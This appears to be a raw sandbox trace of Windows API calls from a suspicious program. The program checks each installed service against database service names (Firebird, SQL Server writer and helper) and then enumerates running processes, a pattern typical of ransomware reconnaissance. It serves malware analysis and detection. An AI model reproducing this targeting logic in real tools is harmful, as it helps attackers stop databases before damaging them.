	[0086.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0086.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0086.110] lstrlenW (lpString="DoSvc") returned 5
	[0086.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0086.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0086.110] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0086.110] lstrlenW (lpString="DPS") returned 3
	[0086.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0086.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0086.110] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0086.110] lstrlenW (lpString="DusmSvc") returned 7
	[0086.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0086.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0086.110] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0086.110] lstrlenW (lpString="EventLog") returned 8
	[0086.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0086.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0086.110] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0086.110] lstrlenW (lpString="EventSystem") returned 11
	[0086.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0086.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0086.110] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0086.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0086.111] lstrlenW (lpString="FontCache") returned 9
	[0086.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0086.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0086.111] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0086.111] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0086.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0086.111] lstrlenW (lpString="gpsvc") returned 5
	[0086.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0086.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0086.111] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0086.111] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0086.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0086.111] lstrlenW (lpString="iphlpsvc") returned 8
	[0086.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0086.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0086.111] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0086.111] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0086.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0086.111] lstrlenW (lpString="KeyIso") returned 6
	[0086.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0086.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0086.111] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0086.111] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0086.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0086.111] lstrlenW (lpString="LanmanServer") returned 12
	[0086.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0086.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0086.111] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0086.111] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0086.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0086.111] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0086.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0086.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0086.112] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0086.112] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0086.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0086.112] lstrlenW (lpString="lfsvc") returned 5
	[0086.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0086.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0086.112] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0086.112] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0086.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0086.112] lstrlenW (lpString="lmhosts") returned 7
	[0086.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0086.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0086.112] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0086.112] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0086.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0086.112] lstrlenW (lpString="LSM") returned 3
	[0086.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0086.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0086.112] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0086.112] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0086.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0086.112] lstrlenW (lpString="MpsSvc") returned 6
	[0086.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0086.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0086.112] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0086.112] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0086.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0086.112] lstrlenW (lpString="NcbService") returned 10
	[0086.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0086.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0086.112] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0086.113] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0086.113] lstrlenW (lpString="netprofm") returned 8
	[0086.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0086.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0086.113] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0086.113] lstrlenW (lpString="NlaSvc") returned 6
	[0086.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0086.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0086.113] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0086.113] lstrlenW (lpString="nsi") returned 3
	[0086.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0086.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0086.113] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0086.113] lstrlenW (lpString="PcaSvc") returned 6
	[0086.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0086.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0086.113] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0086.113] lstrlenW (lpString="PlugPlay") returned 8
	[0086.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0086.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0086.113] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0086.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0086.113] lstrlenW (lpString="Power") returned 5
	[0086.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0086.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0086.114] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0086.114] lstrlenW (lpString="ProfSvc") returned 7
	[0086.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0086.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0086.114] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0086.114] lstrlenW (lpString="RpcEptMapper") returned 12
	[0086.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0086.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0086.114] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0086.114] lstrlenW (lpString="RpcSs") returned 5
	[0086.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0086.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0086.114] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0086.114] lstrlenW (lpString="SamSs") returned 5
	[0086.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0086.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0086.114] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0086.114] lstrlenW (lpString="Schedule") returned 8
	[0086.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0086.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0086.114] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0086.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0086.115] lstrlenW (lpString="SecurityHealthService") returned 21
	[0086.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0086.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0086.115] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0086.115] lstrlenW (lpString="SENS") returned 4
	[0086.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0086.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0086.115] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0086.115] lstrlenW (lpString="ShellHWDetection") returned 16
	[0086.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0086.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0086.115] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0086.115] lstrlenW (lpString="Spooler") returned 7
	[0086.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0086.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0086.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0086.115] lstrlenW (lpString="sppsvc") returned 6
	[0086.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1
	[0086.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1
	[0086.115] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1
	[0086.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1
	[0086.116] lstrlenW (lpString="SSDPSRV") returned 7
	[0086.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0086.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0086.116] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0086.116] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0086.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0086.116] lstrlenW (lpString="StateRepository") returned 15
	[0086.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0086.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0086.116] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0086.116] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0086.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0086.116] lstrlenW (lpString="SysMain") returned 7
	[0086.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0086.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0086.116] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0086.116] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0086.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43587b0 | out: hHeap=0x4f0000) returned 1
	[0086.116] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8
	[0086.385] Process32FirstW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0086.386] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0086.386] lstrlenW (lpString="System") returned 6
	[0086.386] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0086.387] lstrlenW (lpString="smss.exe") returned 8
	[0086.387] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0086.388] lstrlenW (lpString="csrss.exe") returned 9
	[0086.388] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0086.388] lstrlenW (lpString="wininit.exe") returned 11
	[0086.388] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0086.389] lstrlenW (lpString="csrss.exe") returned 9
	[0086.389] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0086.389] lstrlenW (lpString="winlogon.exe") returned 12
	[0086.389] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0086.390] lstrlenW (lpString="services.exe") returned 12
	[0086.390] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0086.390] lstrlenW (lpString="lsass.exe") returned 9
	[0086.390] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.391] lstrlenW (lpString="svchost.exe") returned 11
	[0086.391] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0086.391] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0086.391] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0086.392] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0086.392] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.392] lstrlenW (lpString="svchost.exe") returned 11
	[0086.392] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0086.393] lstrlenW (lpString="dwm.exe") returned 7
	[0086.393] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.394] lstrlenW (lpString="svchost.exe") returned 11
	[0086.394] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.394] lstrlenW (lpString="svchost.exe") returned 11
	[0086.394] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.395] lstrlenW (lpString="svchost.exe") returned 11
	[0086.395] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.395] lstrlenW (lpString="svchost.exe") returned 11
	[0086.395] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.396] lstrlenW (lpString="svchost.exe") returned 11
	[0086.396] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.396] lstrlenW (lpString="svchost.exe") returned 11
	[0086.396] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.397] lstrlenW (lpString="svchost.exe") returned 11
	[0086.397] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.397] lstrlenW (lpString="svchost.exe") returned 11
	[0086.397] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.398] lstrlenW (lpString="svchost.exe") returned 11
	[0086.398] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0086.399] lstrlenW (lpString="spoolsv.exe") returned 11
	[0086.399] Process32NextW (in: hSnapshot=0x2f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.399] lstrlenW (lpString="svchost.exe") returned 11
